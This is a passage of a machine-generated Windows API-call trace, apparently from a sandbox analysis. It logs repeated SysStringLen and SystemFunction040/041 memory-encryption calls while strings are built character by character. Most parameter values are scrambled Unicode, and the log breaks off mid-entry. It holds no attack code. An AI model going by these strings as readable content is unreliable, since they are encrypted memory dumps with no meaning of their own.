(param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭寊Ꙩ㔯⻈賿鉊筬") returned 0x20 [0190.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.140] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDd彖") returned 0x20 [0190.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.140] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭\拘뿯뎡がἲ䦛⊙) returned 0x20 [0190.140] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭\拘뿯뎡がἲ䦛⊙) returned 0x20 [0190.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.140] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdB") returned 0x20 [0190.141] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.141] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ") returned 0x20 [0190.141] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ") returned 0x20 [0190.141] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ") returned 0x20 [0190.141] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ") returned 0x28 [0190.141] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.141] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJ檄ན髄쉻灭泹\⋞) returned 0x28 [0190.141] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.142] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ鿪뛘躽杊췣䷉䮈辖") returned 0x28 [0190.142] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ鿪뛘躽杊췣䷉䮈辖") returned 0x28 [0190.142] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.142] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNན髄쉻灭泹\⋞) returned 0x28 [0190.142] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.142] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ嗍㨢䒈︇Ԧ늟穗") returned 0x28 [0190.142] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ嗍㨢䒈︇Ԧ늟穗") returned 0x28 [0190.142] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.142] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNm髄쉻灭泹\⋞) returned 0x28 [0190.143] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ璮ქ\룘伌졧࿭≪) returned 0x28 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ璮ქ\룘伌졧࿭≪) returned 0x28 [0190.143] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.143] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ쉻灭泹\⋞) returned 0x28 [0190.143] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ\뿚┝䢍㖩꓀弘垔⊬) returned 0x28 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ\뿚┝䢍㖩꓀弘垔⊬) returned 0x28 [0190.143] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.143] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/灭泹\⋞) returned 0x28 [0190.143] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገྮꉸ⨍뒉꜁ꢘ뎜") returned 0x28 [0190.143] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገྮꉸ⨍뒉꜁ꢘ뎜") returned 0x28 [0190.143] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.144] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+泹\⋞) returned 0x28 [0190.144] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.144] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ㪥顂漧\鷞뽘嶪∆) returned 0x28 [0190.144] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ㪥顂漧\鷞뽘嶪∆) returned 0x28 [0190.144] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.144] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+c\⋞) returned 0x28 [0190.144] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.144] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገᜠ䂟沝䦯䘫޽\≳) returned 0x28 [0190.144] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገᜠ䂟沝䦯䘫޽\≳) returned 0x28 [0190.144] SystemFunction041 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.144] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+cq") returned 0x28 [0190.144] SystemFunction040 (in: Memory=0x3c0c9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c9c) returned 0x0 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ") returned 0x28 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ") returned 0x28 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ") returned 0x28 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ") returned 0x30 [0190.145] SystemFunction041 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.145] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+cqU걁翓ꈛꟗ멅㤃잯") returned 0x30 [0190.145] SystemFunction040 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ뷍甽փ鼏꫁䖗匙ྟ") returned 0x30 [0190.145] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ뷍甽փ鼏꫁䖗匙ྟ") returned 0x30 [0190.145] SystemFunction041 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.146] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+cqU/翓ꈛꟗ멅㤃잯") returned 0x30 [0190.146] SystemFunction040 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.146] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔོ뫘릟븳ⶤྥ喦휪") returned 0x30 [0190.146] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔོ뫘릟븳ⶤྥ喦휪") returned 0x30 [0190.146] SystemFunction041 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.146] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+cqU/Yꈛꟗ멅㤃잯") returned 0x30 [0190.146] SystemFunction040 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.146] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ셼⤄ꋵ쾖࿮ᾃ㭼") returned 0x30 [0190.146] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ셼⤄ꋵ쾖࿮ᾃ㭼") returned 0x30 [0190.146] SystemFunction041 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.146] SysStringLen (param_1="64VGfHBpkud6iuYHRH6zMhKZn658PDdBJNmJ/+cqU/Y=ꟗ멅㤃잯") returned 0x30 [0190.146] SystemFunction040 (in: Memory=0x3da684, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da684) returned 0x0 [0190.147] EtwEventActivityIdControl () returned 0x0 [0190.147] EtwEventActivityIdControl () returned 0x0 [0190.147] EtwEventActivityIdControl () returned 0x0 [0190.148] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.148] EtwEventActivityIdControl () returned 0x0 [0190.149] EtwEventActivityIdControl () returned 0x0 [0190.149] EtwEventActivityIdControl () returned 0x0 [0190.149] SysStringLen (param_1="") returned 0x8 [0190.150] SysStringLen (param_1="N") returned 0x8 [0190.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.150] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.150] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.150] SysStringLen (param_1="ND") returned 0x8 [0190.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.150] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.150] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.150] SysStringLen (param_1="NDZ") returned 0x8 [0190.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.151] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.151] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.151] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.151] SysStringLen (param_1="NDZl") returned 0x8 [0190.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.151] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.151] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.151] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.151] SysStringLen (param_1="NDZlO") returned 0x8 [0190.151] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.152] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.152] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.152] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.152] SysStringLen (param_1="NDZlOD") returned 0x8 [0190.152] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.152] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.152] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.152] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.152] SysStringLen (param_1="NDZlODR") returned 0x8 [0190.152] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.152] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.152] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.152] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.153] SysStringLen (param_1="NDZlODRm") returned 0x8 [0190.153] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0190.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.154] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.154] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.154] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.155] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.155] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0190.155] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.155] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.155] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0190.155] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.156] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.156] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0190.156] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.156] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.156] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0190.156] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.157] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.157] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0190.157] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.157] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.187] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0190.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0190.188] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.188] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0190.189] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.189] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.189] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0190.189] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0190.190] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0190.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0190.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0190.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0190.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.193] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0190.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.193] SysStringLen 